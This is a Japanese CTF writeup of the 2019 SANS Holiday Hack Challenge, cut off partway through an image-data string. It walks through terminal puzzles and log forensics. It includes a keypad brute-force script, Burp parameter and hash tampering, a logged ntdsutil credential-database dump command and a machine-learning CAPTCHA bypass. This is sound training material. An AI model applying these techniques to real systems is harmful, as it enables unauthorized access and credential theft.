The 2019 SANS Holiday Hack Challenge Writeup
あけましておめでとうございます。
今年もSANS社がHoliday Hack Challengeを開催しており、参加&全完しましたのでwriteupを書きます。
holidayhackchallenge.com
昨年のwriteup記事はこちらです。
graneed.hatenablog.com
- 概要
- Terminal問題
- Frosty Keypad!
- 1) Find the Turtle Doves
- 2) Unredact Threatening Document
- 3) Windows Log Analysis: Evaluate Attack Outcome
- 4) Windows Log Analysis: Determine Attacker Technique
- 5) Network Log Analysis: Determine Compromised System
- 6) Splunk
- 1. What is the short host name of Professor Banas' computer?
- 2. What is the name of the sensitive file that was likely accessed and copied by the attacker? Please provide the fully qualified location of the file. (Example: C:\temp\report.pdf)
- 3. What is the fully-qualified domain name(FQDN) of the command and control(C2) server? (Example: badguy.baddies.com)
- 4. What document is involved with launching the malicious PowerShell code? Please provide just the filename. (Example: results.txt)
- 5. How many unique email addresses were used to send Holiday Cheer essays to Professor Banas? Please provide the numeric value. (Example: 1)
- 6. What was the password for the zip archive that contained the suspicious file?
- 7. What email address did the suspicious file come from?
- What was the message for Kent that the adversary embedded in this attack?
- 7) Get Access To The Steam Tunnels
- 8) Bypassing the Frido Sleigh CAPTEHA
- 9) Retrieve Scraps of Paper from Server
- 10) Recover Cleartext Document
- 11) Open the Sleigh Shop Door
- 12) Filter Out Poisoned Sources of Weather Data
- 所感
概要
エルフ大学を歩きながら、ペンテスト、フォレンジック、マルウェア解析、ネットワーク解析などのスキルを駆使して、各種チャレンジを解いていく。 メインの問題数は全12問、メインの問題のヒントがもらえるサブのTerminal問題が全10問ある。
以下、開始直後の鉄道を降りたところのスクリーンショット。
右側にある緑色の端末みたいなアイコンがTerminal問題。これを解くと隣にいるエルフからヒントをもらえる。
Terminal問題
最初はTerminal問題から。マップ上のアイコンをクリックするとターミナルが立ち上がる。(一部例外あり
Escape Ed
edを終了すればクリア。q
コマンドで終了。
Linux Path
lsコマンドを実行すればクリアだが、path
が通っていない。/bin/ls
で直接実行する。
Mongo Pilfer
ローカルで起動しているMongoDBに接続したいが、デフォルトのポート番号ではない。
ps -eax
を実行するとポート番号を12121
に指定していることがわかる。
DBを適当に漁ると、指定されたコマンドを実行しろと指示を発見するので、実行するとクリア。
Nyanshell
alabaster_snowballにsu
してBash起動できればクリアだが、デフォルトシェルが/bin/nsh
になっている。
/bin/nsh
のwrite権限はあるものの、上書きができない。
sudo -l
を実行すると/usr/bin/chattr
がroot権限で実行できることがわかる。
ファイル属性にi
属性が設定されていることが上書きできない原因のようなので、-i
オプションで外してから、/bin/nsh
を/bin/bash
で上書きする。
Smart Braces
指定された要件を満たすような、iptablesの設定を実行すればクリア。要件は以下のとおり。
1. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains. 2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and the OUTPUT chains. 3. Create a rule to ACCEPT only remote source IP address 172.19.0.225 to access the local SSH server (on por t 22). 4. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80. 5. Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80. 6. Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.
対応する設定を行うコマンドは以下のとおり。
sudo iptables -P INPUT DROP sudo iptables -P FORWARD DROP sudo iptables -P OUTPUT DROP sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT sudo iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT sudo iptables -A INPUT -s 172.19.0.225 -p tcp --dport 22 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT sudo iptables -A INPUT -i lo -j ACCEPT
Xmas Cheer Laser
端末内の情報を集めてレーザーの出力を上げるためのパラメータ情報を集める問題。PowerShell環境。
集めたパラメータ情報はAPIで設定する。API仕様は以下のとおり。
PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/).RawContent HTTP/1.0 200 OK Server: Werkzeug/0.16.0 Server: Python/3.6.9 Date: Sun, 29 Dec 2019 18:48:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 860 <html> <body> <pre> ---------------------------------------------------- Christmas Cheer Laser Project Web API ---------------------------------------------------- Turn the laser on/off: GET http://localhost:1225/api/on GET http://localhost:1225/api/off Check the current Mega-Jollies of laser output GET http://localhost:1225/api/output Change the lense refraction value (1.0 - 2.0): GET http://localhost:1225/api/refraction?val=1.0 Change laser temperature in degrees Celsius: GET http://localhost:1225/api/temperature?val=-10 Change the mirror angle value (0 - 359): GET http://localhost:1225/api/angle?val=45.1 Change gaseous elements mixture: POST http://localhost:1225/api/gas POST BODY EXAMPLE (gas mixture percentages): O=5&H=5&He=5&N=5&Ne=20&Ar=10&Xe=10&F=20&Kr=10&Rn=10 ---------------------------------------------------- </pre> </body> </html>
パラメータは全部で4種類。
1. angle
historyを実行すると発見。angleは65.5
。次のヒントも発見する。
PS /home/elf> history | Out-String -Width 4096 Id CommandLine -- ----------- 1 Get-Help -Name Get-Process 2 Get-Help -Name Get-* 3 Set-ExecutionPolicy Unrestricted 4 Get-Service | ConvertTo-HTML -Property Name, Status > C:\services.htm 5 Get-Service | Export-CSV c:\service.csv 6 Get-Service | Select-Object Name, Status | Export-CSV c:\service.csv 7 (Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent 8 Get-EventLog -Log "Application" 9 I have many name=value variables that I share to applications system wide. At a command I will reveal m y secrets once you Get my Child Items. 10 (Invoke-WebRequest -Uri http://localhost:1225/).RawContent
2. refraction
I have many name=value variables that I share to applications system wide. At a command I will reveal my secrets once you Get my Child Items.
のヒントから、Get-ChildItem
で環境変数を確認する。
PS /home/elf> Get-ChildItem env: | Out-String -Width 4096 Name Value ---- ----- _ /bin/su DOTNET_SYSTEM_GLOBALIZATION_I… false HOME /home/elf HOSTNAME 8f719061667c LANG en_US.UTF-8 LC_ALL en_US.UTF-8 LOGNAME elf MAIL /var/mail/elf PATH /opt/microsoft/powershell/6:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin :/sbin:/bin:/usr/games:/usr/local/games PSModuleAnalysisCachePath /var/cache/microsoft/powershell/PSModuleAnalysisCache/ModuleAnalysisCache PSModulePath /home/elf/.local/share/powershell/Modules:/usr/local/share/powershell/Modules :/opt/microsoft/powershell/6/Modules PWD /home/elf RESOURCE_ID 4a012a47-0153-4c5b-8b25-15bd2cf73044 riddle Squeezed and compressed I am hidden away. Expand me from my prison and I will show you the way. Recurse through all /etc and Sort on my LastWriteTime to reveal im the newest of all. SHELL /home/elf/elf SHLVL 1 TERM xterm USER elf userdomain laserterminal USERDOMAIN laserterminal USERNAME elf username elf
ヒントどおりに/etc
配下の最終更新時間が新しいファイルを確認する。
PS /etc> Get-ChildItem -Recurse | Sort-Object LastWriteTime (snip) Directory: /etc/apt Mode LastWriteTime Length Name ---- ------------- ------ ---- --r--- 12/29/19 6:02 PM 5662902 archive
展開する。
PS /home/elf> Expand-Archive -Path /etc/apt/archive -DestinationPath /tmp PS /home/elf> cd /tmp PS /tmp> dir Directory: /tmp Mode LastWriteTime Length Name ---- ------------- ------ ---- d-r--- 12/13/19 5:15 PM 5t4srxl3 d-r--- 12/13/19 5:15 PM ar0h5fvb d-r--- 12/13/19 5:15 PM isersp3d d-r--- 12/13/19 5:15 PM jj0ulyca d-r--- 12/13/19 5:15 PM jyy10y3s d-r--- 12/13/19 5:15 PM mmwmacs2 d----- 12/29/19 6:19 PM refraction d-r--- 12/13/19 5:15 PM w45zpn1s d-r--- 12/13/19 5:15 PM wpvxws2m d-r--- 12/13/19 5:15 PM zulm3qkm ------ 12/29/19 6:19 PM 0 clr-debug-pipe-31-76974049-in ------ 12/29/19 6:19 PM 0 clr-debug-pipe-31-76974049-out ------ 12/29/19 6:19 PM 0 CoreFxPipe_PSHost.D5BE7487.31.None.elf PS /tmp> cd refraction PS /tmp/refraction> dir Directory: /tmp/refraction Mode LastWriteTime Length Name ---- ------------- ------ ---- ------ 11/7/19 11:57 AM 134 riddle ------ 11/5/19 2:26 PM 5724384 runme.elf
実行ファイルらしきファイルがあるので実行すると、refractionが1.867
だとわかる。
PS /tmp/refraction> chmod 777 ./runme.elf PS /tmp/refraction> ./runme.elf refraction?val=1.867
次のヒントも発見した。
PS /tmp/refraction> type riddle Very shallow am I in the depths of your elf home. You can find my entity by using my md5 identity: 25520151A320B5B0D21561F92C8F6224
3. temperature
/home/elf/depths
配下に大量のファイルがあり、その中からmd5が一致するファイルを発見するのが想定解のようだが、キーワード(val=
)で検索して強引に発見した。
temperatureは-33.5
。
PS /home/elf/depths> Get-ChildItem -Recurse -Force | Select-String "val=" produce/thhy5hll.txt:1:temperature?val=-33.5
次のヒントも発見した。
PS /home/elf/depths> type produce/thhy5hll.txt temperature?val=-33.5 I am one of many thousand similar txt's contained within the deepest of /home/elf/depths. Finding me will gi ve you the most strength but doing so will require Piping all the FullName's to Sort Length.
4. gas
/home/elf/depths
配下から、最もファイルパスが長いファイルを見つける。
PS /home/elf/depths> Get-ChildItem -Recurse -Force | Select-Object fullname | sort { $_.fullname.length } | Select-Object -last 1 | Out-String -Width 4096 FullName -------- /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt PS /home/elf/depths> type /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/esca pe/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/ play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eag er/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt Get process information to include Username identification. Stop Process to show me you're skilled and in th is order they must be killed: bushy alabaster minty holly Do this for me and then you /shall/see .
指定されたユーザが起動しているプロセスを停止すればよい。
PS /home/elf/depths> Get-Process -IncludeUserName WS(M) CPU(s) Id UserName ProcessName ----- ------ -- -------- ----------- 28.98 1.58 6 root CheerLaserServi 155.99 41.78 31 elf elf 3.50 0.03 1 root init 0.73 0.00 24 bushy sleep 0.72 0.00 26 alabaster sleep 0.80 0.00 28 minty sleep 0.81 0.00 29 holly sleep 3.46 0.00 30 root su PS /home/elf/depths> kill -9 24 PS /home/elf/depths> kill -9 26 PS /home/elf/depths> kill -9 28 PS /home/elf/depths> kill -9 29 PS /home/elf/depths> type /shall/see Get the .xml children of /etc - an event log to be found. Group all .Id's and the last thing will be in the Properties of the lonely unique event Id.
/etc
配下にある拡張子がxmlのイベントログを集計すればよいとのことだが、面倒なのでこれもキーワード(Xe=
)を類推して探して発見した。
gasはO=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9
。
PS /etc> Get-ChildItem -Recurse -Force -Include *.xml Get-ChildItem : Access to the path '/etc/ssl/private' is denied. At line:1 char:1 + Get-ChildItem -Recurse -Force -Include *.xml + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : PermissionDenied: (/etc/ssl/private:String) [Get-ChildItem], UnauthorizedAccessExc eption + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand Directory: /etc/systemd/system/timers.target.wants Mode LastWriteTime Length Name ---- ------------- ------ ---- --r--- 11/18/19 7:53 PM 10006962 EventLog.xml PS /etc> type /etc/systemd/system/timers.target.wants/EventLog.xml | Select-String "Xe=" <S N="Value">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "`$correct_gases_postbody = @{`n O=6`n H=7`n He=3`n N=4`n Ne=22`n Ar=11`n Xe=10`n F=20`n Kr=8`n Rn=9`n}`n"</S> <S N="Message">Process Create:_x000D__x000A_RuleName: _x000D__x000A_UtcTime: 2019-11-07 17:59:56.525_x000D__x000A_ProcessGuid: {BA5C6BBB-5B9C-5DC4-0000-00107660A900}_x000D__x000A_ProcessId: 3664_x000D__x000A_Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe_x000D__x000A_FileVersion: 10.0.14393.206 (rs1_release.160915-0644)_x000D__x000A_Description: Windows PowerShell_x000D__x000A_Product: Microsoft® Windows® Operating System_x000D__x000A_Company: Microsoft Corporation_x000D__x000A_OriginalFileName: PowerShell.EXE_x000D__x000A_CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "`$correct_gases_postbody = @{`n O=6`n H=7`n He=3`n N=4`n Ne=22`n Ar=11`n Xe=10`n F=20`n Kr=8`n Rn=9`n}`n"_x000D__x000A_CurrentDirectory: C:\_x000D__x000A_User: ELFURESEARCH\allservices_x000D__x000A_LogonGuid: {BA5C6BBB-5B9C-5DC4-0000-0020F55CA900}_x000D__x000A_LogonId: 0xA95CF5_x000D__x000A_TerminalSessionId: 0_x000D__x000A_IntegrityLevel: High_x000D__x000A_Hashes: MD5=097CE5761C89434367598B34FE32893B_x000D__x000A_ParentProcessGuid: {BA5C6BBB-4C79-5DC4-0000-001029350100}_x000D__x000A_ParentProcessId: 1008_x000D__x000A_ParentImage: C:\Windows\System32\svchost.exe_x000D__x000A_ParentCommandLine: C:\Windows\system32\svchost.exe -k netsvcs</S>
集めたパラメータをAPIを呼び出して設定するとクリア。
(Invoke-WebRequest -Uri http://localhost:1225/api/off).RawContent (Invoke-WebRequest -Uri http://localhost:1225/api/refraction?val=1.867).RawContent (Invoke-WebRequest -Uri http://localhost:1225/api/temperature?val=-33.5).RawContent (Invoke-WebRequest -Uri http://localhost:1225/api/angle?val=65.5).RawContent (Invoke-WebRequest -Uri http://localhost:1225/api/gas -Method Post -Body 'O=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9').RawContent (Invoke-WebRequest -Uri http://localhost:1225/api/on).RawContent (Invoke-WebRequest -Uri http://localhost:1225/api/output).RawContent
Frosty Keypad!
Terminalが起動される問題ではないが、ここで紹介。
キーパッドで正しい数値を入力する問題。
数値が素数になること、1つのボタンだけ2回使用しそれ以外は1回だけ使用すること、キーパッドの形跡がヒントになること、の情報が与えられている。
1と3と7に押下された形跡がある。
Burp Suiteまたはブラウザの開発者ツールで確認すると、呼び出し先のAPIがわかるので、条件を満たすボタンの組合せで総当たりするプログラムを作って実行する。
import itertools import requests def is_prime(q): q = abs(q) if q == 2: return True if q < 2 or q&1 == 0: return False return pow(2, q-1, q) == 1 for i in [1,3,7]: for v in itertools.permutations([1,3,7,i]): s = "".join(map(str,v)) if is_prime(int(s)): url = "https://keypad.elfu.org/checkpass.php?i=%s&resourceId=4aa66b1c-05e2-49ad-bfd9-8a3e4332022a" % s r = requests.get(url) if r.json()["success"] == True: print(s, r.text) exit
いまいちなロジックなので2回出てしまうが、7331
が正しいコードであることがわかる。
root@kali:/mnt/hgfs/CTF/Contest/SANS2019# python3 brute.py 7331 {"success":true,"resourceId":"4aa66b1c-05e2-49ad-bfd9-8a3e4332022a","hash":"c7e2b5534645cee5e33a1669a1dec038724fcd0e42ef3e9a2a14bc89eaed37aa","message":"Valid Code!"} 7331 {"success":true,"resourceId":"4aa66b1c-05e2-49ad-bfd9-8a3e4332022a","hash":"c7e2b5534645cee5e33a1669a1dec038724fcd0e42ef3e9a2a14bc89eaed37aa","message":"Valid Code!"}
Graylog
Graylogというログ分析ツールを使用して、ログからインシデント調査する問題。
Q1.
Minty
で検索。
answer: C:\Users\minty\Downloads\cookie_recipe.exe
Q2.
ProcessId:5256
で検索。
answer: 192.168.247.175:4444
Q3.
ParentProcessId:5256
で検索。
answer: whoami
Q4.
Q3と同じ検索結果から。
answer: webexservice
Q5.
ParentProcessImage:C\:\\Users\\minty\\Downloads\\cookie_recipe2.exe
で検索。
answer: C:\cookie.exe
Q6.
account name
で検索。
answer: alabaster
Q7.
AccountName:alabaster AND LogonType:10
で検索。
answer: 06:04:28
Q8.
timestamp:["2019-11-19 06:04:28.000" TO "2019-11-21 23:59:59.000"] AND SourceHostName:ELFU-RES-WKS2
で検索。
Answer: elfu-res-wks2,elfu-res-wks3,3
Q9.
pastebin.com
で検索。
answer: C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf
Q10.
Q9と同じ検索結果から。
answer: 104.22.3.84
#7830984301576234
Holiday Hack Trail
難易度がEASY、MEDIUM、HARDの3段階あるゲーム。チートをして、Hardをクリアする。
通信を観察すると、EASYはGETでパラメータ送信、MEDIUMはPOSTでパラメータ送信、HARDはPOSTでパラメータ送信且つhashで改ざん確認をしていることがわかる。パラメータを改ざんするとhashが変わる。
ゲーム開始時のパラメータのhashの値であるbc573864331a9e42e4511de6f678aa83
で検索すると、1626
のmd5であることがわかる。どうやら特定のパラメータの合計値をmd5計算しているだけのようだ。
距離を8000稼げばクリアなので、スタート地点を0から7999にする。
1626+7999=9625のmd5はa330f9fecc388ce67f87b09855480ca3
である。
Burp Suiteで通信をインターセプトして、distanceを7999
、hashをa330f9fecc388ce67f87b09855480ca3
で上書きする。
チェックをバイパスしてゲームを開始できて、即クリア。
Zeek JSON Analysis
JSONファイルを解析して、durationが最も大きいログのIPアドレスを確認する。
elf@c6c39e513269:~$ cat ./conn.log | jq '.duration' | sort -g | tail -1 1019365.337758 elf@c6c39e513269:~$ grep 1019365.337758 ./conn.log {"ts":"2019-04-18T21:27:45.402479Z","uid":"CmYAZn10sInxVD5WWd","id.orig_h":"192.168.52.132","id.orig_p":8,"i d.resp_h":"13.107.21.200","id.resp_p":0,"proto":"icmp","duration":1019365.337758,"orig_bytes":30781920,"resp _bytes":30382240,"conn_state":"OTH","missed_bytes":0,"orig_pkts":961935,"orig_ip_bytes":57716100,"resp_pkts" :949445,"resp_ip_bytes":56966700} elf@c6c39e513269:~$ runtoanswer Loading, please wait...... What is the destination IP address with the longes connection duration? 13.107.21.200 Thank you for your analysis, you are spot-on. I would have been working on that until the early dawn. Now that you know the features of jq, You'll be able to answer other challenges too. -Wunorse Openslae Congratulations!
ここまでがterminal問題。次からメインの問題。
1) Find the Turtle Doves
マップを探索して鳩を発見するだけ。
2) Unredact Threatening Document
マップを探索するとPDFが落ちている。
マスクされているが選択してコピーすれば抜き出せる。
Date: February 28, 2019 To the Administration, Faculty, and Staff of Elf University 17 Christmas Tree Lane North Pole From: A Concerned and Aggrieved Character Subject: DEMAND: Spread Holiday Cheer to Other Holidays and Mythical Characters… OR ELSE! Attention All Elf University Personnel, It remains a constant source of frustration that Elf University and the entire operation at the North Pole focuses exclusively on Mr. S. Claus and his year-end holiday spree. We URGE you to consider lending your considerable resources and expertise in providing merriment, cheer, toys, candy, and much more to other holidays year-round, as well as to other mythical characters. For centuries, we have expressed our frustration at your lack of willingness to spread your cheer beyond the inaptly-called “Holiday Season.” There are many other perfectly fine holidays and mythical characters that need your direct support year-round. If you do not accede to our demands, we will be forced to take matters into our own hands. We do not make this threat lightly. You have less than six months to act demonstrably. Sincerely, --A Concerned and Aggrieved Character
answer: DEMAND
3) Windows Log Analysis: Evaluate Attack Outcome
イベントログから不正ログインが成功したアカウントを調査する。デフォルトのイベントビューアーで開いて、大量のログイン失敗直後にログイン成功しているアカウント名を入力すると正解だった。特にひっかけ要素もなかった。
answer: supatree
4) Windows Log Analysis: Determine Attacker Technique
Sysmonのログから、lsass.exeのプロセスから実行されている攻撃者が使用しているツールを探す問題。
lsass.exeでログを検索すると、前後のログからlsass.exe -> cmd.exe -> ntdsutil.exe
の順序で子プロセスを起動していることがわかる。
{ "command_line": "C:\\Windows\\system32\\cmd.exe", "event_type": "process", "logon_id": 999, "parent_process_name": "lsass.exe", "parent_process_path": "C:\\Windows\\System32\\lsass.exe", "pid": 3440, "ppid": 632, "process_name": "cmd.exe", "process_path": "C:\\Windows\\System32\\cmd.exe", "subtype": "create", "timestamp": 132186398356220000, "unique_pid": "{7431d376-dedb-5dd3-0000-001027be4f00}", "unique_ppid": "{7431d376-cd7f-5dd3-0000-001013920000}", "user": "NT AUTHORITY\\SYSTEM", "user_domain": "NT AUTHORITY", "user_name": "SYSTEM" }, { "command_line": "ntdsutil.exe \"ac i ntds\" ifm \"create full c:\\hive\" q q", "event_type": "process", "logon_id": 999, "parent_process_name": "cmd.exe", "parent_process_path": "C:\\Windows\\System32\\cmd.exe", "pid": 3556, "ppid": 3440, "process_name": "ntdsutil.exe", "process_path": "C:\\Windows\\System32\\ntdsutil.exe", "subtype": "create", "timestamp": 132186398470300000, "unique_pid": "{7431d376-dee7-5dd3-0000-0010f0c44f00}", "unique_ppid": "{7431d376-dedb-5dd3-0000-001027be4f00}", "user": "NT AUTHORITY\\SYSTEM", "user_domain": "NT AUTHORITY", "user_name": "SYSTEM" }
answer: ntdsutil
5) Network Log Analysis: Determine Compromised System
Beacons画面の先頭のSourceのIPアドレスが答え。
answer: 192.168.134.130
6) Splunk
Splunkを使用して、インシデント調査を進めていく問題。
インシデントレスポンスチームのリーダーみたいなキャラクターからチャット形式でヒントをもらえるので、指示通りに検索していけばクリア。
1. What is the short host name of Professor Banas' computer?
チャットにそのまま答えがある。
answer: sweetums
2. What is the name of the sensitive file that was likely accessed and copied by the attacker? Please provide the fully qualified location of the file. (Example: C:\temp\report.pdf)
index=main santa
で検索。
answer: C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt
3. What is the fully-qualified domain name(FQDN) of the command and control(C2) server? (Example: badguy.baddies.com)
index=main sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational powershell EventCode=3
で検索。
answer: 144.202.46.214.vultr.com
4. What document is involved with launching the malicious PowerShell code? Please provide just the filename. (Example: results.txt)
index=main sourcetype="WinEventLog:Microsoft-Windows-Powershell/Operational" | reverse
で検索し、先頭レコードの時間の前後5秒間で絞り込んだ上で、index=main
で検索。
プロセスIDが6268
と5864
の2件に絞られる。イベントログのプロセスIDは16進数であるため、6268
から16進数の0x187C
に変換してイベントログから検索する。
index=main sourcetype=WinEventLog New_Process_ID=0x187C
で検索。
answer: 19th Century Holiday Cheer Assignment.docm
5. How many unique email addresses were used to send Holiday Cheer essays to Professor Banas? Please provide the numeric value. (Example: 1)
index=main sourcetype=stoq results{}.workers.smtp.subject="Holiday Cheer Assignment submission" | table results{}.workers.smtp.from | dedup results{}.workers.smtp.from | stats count
で検索。
answer: 21
6. What was the password for the zip archive that contained the suspicious file?
index=main sourcetype=stoq results{}.payload_meta.extra_data.filename="Buttercups_HOL404_assignment.zip" | table results{}.workers.smtp.from results{}.workers.smtp.body
で検索。
answer: 123456789
7. What email address did the suspicious file come from?
6のサーチ結果から。
answer: bradly.buttercups@eifu.org
What was the message for Kent that the adversary embedded in this attack?
index=main sourcetype=stoq "results{}.workers.smtp.from"="bradly buttercups <bradly.buttercups@eifu.org>" | eval results = spath(_raw, "results{}") | mvexpand results | eval path=spath(results, "archivers.filedir.path"), filename=spath(results, "payload_meta.extra_data.filename"), fullpath=path."/".filename | search fullpath!="" | table filename,fullpath
で検索。
docmファイルの実体はzipファイルであるため、中身が展開されてサーバに置かれている。 ドキュメントのプロパティはcore.xmlに書かれているので確認する。
answer: Kent you are so unfair. And we were going to make you the king of the Winter Carnival.
7) Get Access To The Steam Tunnels
ある部屋に入ると、krampusというキャラクターが逃げていく。逃げた先には鍵がかかっている。 krampusのキャラクター画像の腰元に鍵があり、その画像から鍵を作成する。
開発者ツールで観察するとkrampusの画像は以下のURLであることがわかる。
https://2019.kringlecon.com/images/avatars/elves/krampus.png
近くに鍵を作成するツールがある。krampusの画像の鍵の凸凹の深さに合わせて数値を調整する。
122520
で一致した。
鍵を解除した先で、Krampusのフルネームがわかる。
answer: Krampus Hollyfeld
8) Bypassing the Frido Sleigh CAPTEHA
100個の画像を使用したCAPTCHA認証を5秒以内に突破する問題。人間ではクリアできない時間と量であるため機械学習を使用する。 幸いにも、教師データが12000ファイルくらい与えられている。
Terminal問題をクリアして得られたヒント動画で公開されていた、以下のgithubのリポジトリを活用する。
GitHub - chrisjd20/img_rec_tf_ml_demo: Image Recognition Using TensorFlow Machine Learning Demo to recognize Apples from Bananas
モデルの作成は、上記のリポジトリのretrain.pyをそのまま使用できる。
CAPTCHA画像を取得、機械学習による解析および解答を行うプログラムは以下のとおり。
#!/usr/bin/env python3 # Fridosleigh.com CAPTEHA API - Made by Krampus Hollyfeld import requests import json import sys import base64 import os os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' import tensorflow as tf tf.logging.set_verbosity(tf.logging.ERROR) import numpy as np import threading import queue import time def load_labels(label_file): label = [] proto_as_ascii_lines = tf.gfile.GFile(label_file).readlines() for l in proto_as_ascii_lines: label.append(l.rstrip()) return label def predict_image(q, img, challenge_image_types, sess, graph, labels, input_operation, output_operation): image_bytes = base64.b64decode(img["base64"].encode("UTF-8")) image = read_tensor_from_image_bytes(image_bytes) results = sess.run(output_operation.outputs[0], { input_operation.outputs[0]: image }) results = np.squeeze(results) prediction = results.argsort()[-5:][::-1][0] if labels[prediction].title() in challenge_image_types: print(img["uuid"], labels[prediction].title()) q.put(img) return labels[prediction].title() def load_graph(model_file): graph = tf.Graph() graph_def = tf.GraphDef() with open(model_file, "rb") as f: graph_def.ParseFromString(f.read()) with graph.as_default(): tf.import_graph_def(graph_def) return graph def read_tensor_from_image_bytes(imagebytes, input_height=299, input_width=299, input_mean=0, input_std=255): image_reader = tf.image.decode_png( imagebytes, channels=3, name="png_reader") float_caster = tf.cast(image_reader, tf.float32) dims_expander = tf.expand_dims(float_caster, 0) resized = tf.image.resize_bilinear(dims_expander, [input_height, input_width]) normalized = tf.divide(tf.subtract(resized, [input_mean]), [input_std]) sess = tf.compat.v1.Session() result = sess.run(normalized) return result def main(): yourREALemailAddress = "pmkenpks@sharklasers.com" ''' MISSING IMAGE PROCESSING AND ML IMAGE PREDICTION CODE GOES HERE ''' # Loading the Trained Machine Learning Model created from running retrain.py on the training_images directory graph = load_graph('./retrain_tmp/output_graph.pb') labels = load_labels("./retrain_tmp/output_labels.txt") # Load up our session input_operation = graph.get_operation_by_name("import/Placeholder") output_operation = graph.get_operation_by_name("import/final_result") sess = tf.compat.v1.Session(graph=graph) dummy_img = {'base64': 'iVBORw0KGgoAAAANSUhEUgAAAHQAAAB0CAYAAABUmhYnAAABfWlDQ1BpY2MAACiRfZE9SMNQFIVPU6VSKg5mEHHI0DpZEC3iKFUsgoXSVmjVweSlf9CkJUlxcRRcCw7+LFYdXJx1dXAVBMEfEBdXJ0UXKfG+pNAixguP93HePYf37gOEVpVpZt8koOmWkU7EpVx+VQq8IggfREQQk5lZT2YWs/Csr3vqpbqL8izvvj9rUC2YDPBJxHOsbljEG8Qzm1ad8z6xyMqySnxOPGHQBYkfua64/Ma55LDAM0Ujm54nFomlUg8rPczKhkYcIw6rmk75Qs5llfMWZ63aYJ178heGCvpKhuu0xpDAEpJIQYKCBiqowkKUdp0UE2k6j3v4Rx1/ilwKuSpg5FhADRpkxw/+B79naxanp9ykUBzof7HtjwgQ2AXaTdv+Prbt9gngfwau9K6/1gJmP0lvdrXwETC0DVxcdzVlD7jcAUae6rIhO5KfllAsAu9n9E15YPgWCK65c+uc4/QByNKslm+Ag0NgvETZ6x7vHuid2789nfn9ALMxcsFmHtEMAAAAIGNIUk0AAHomAACAhAAA+gAAAIDoAAB1MAAA6mAAADqYAAAXcJy6UTwAAAAGYktHRAAAAAAAAPlDu38AAAAJb0ZGc/////7////+AChGt5kAAAAJcEhZcwAALiMAAC4jAXilP3YAAAAHdElNRQfjCgIIDwFCMW5HAAAWWXpUWHRSYXcgcHJvZmlsZSB0eXBlIGV4aWYAAGiBrZpnduM4FoX/YxWzBGTgLQfxnNnBLH++S8mu2Km6rO6STVEk8MINAN3533+v+w8/pYXocmm9Wq2en2zZ4uCX7l8/r/fg8/Pv81O6j++j3xx3nx9EDiXe0+uDel7vYXC8fPlCy+/j89vjrq3XL7G/L/T+4H15n3Rn/b7fg3xfKMXX8fD+29n7C6N+NZ33/3G9L/u++Pd/50YwduF6Kbp4Ukj++Te+7pQYRbI0dJx/+SvqSOX3lPpzpP4YP/cex8edvgng52/fxc9/jCx9CcfrQh/Tqt/F6X08lO+Of1xQUfp6RCF+3jl+PaLUQvFf/3wVv3t3v/e8ZjdydYSrvif1MZXnN06chDM9X6u8Gv8Xfm/Py3h1P/wia5upTucnf1iIRPaGHHYY4YbzvK+wGGKOJzbeY1wxPcd6atHiepKS9Qo3Nkd+NrmIaZG5xOH4OZbw3Nd0P27WufMOnBkDFyPH377c9wd+9fXNhe5VmYfg+2esGFdUfTEMZU7/chYJCfcd0/LEN7jXm//+R4lNZLA8Ye5McPj5usQs4UttpSfPyRfHqdm/+iW0/b4AIeLehcGERAZ8DamEGnyLsYVAHDv5GYw8phwnGQjFlbgZZcwpVZLTo+7Nd1p4zo0lvg4DLySi0CiN1NBAJCvnkiv91imh4UoquZRSSyu9WBk11VxLrbVV4dRoqeVWWm2t9WZt9NRzL7321nu3PixaAsaKs2rNupmNwU1HHlxrcP7gwIwzzTzLrLPNPm2ORfmsvMqqq62+bI0dd9pAgNt1t9237XHCoZROPuXU004/dsal1m66+ZZbb7v92h2fWXtn9dusfZ+5P89aeGctPonSee1L1jjc2sclguCkKGdkLOZAxpsyQEFH5cz3kHNU5pQzbzG5lEpklEXJ2UEZI4P5hFhu+Mzdl8z9Yd4c0f2neYs/y5xT6n5H5pxS91XmfszbT7K2xwO36UmQupCYgpCJ9uOE00fsQ7z0D9/nqATZbaswA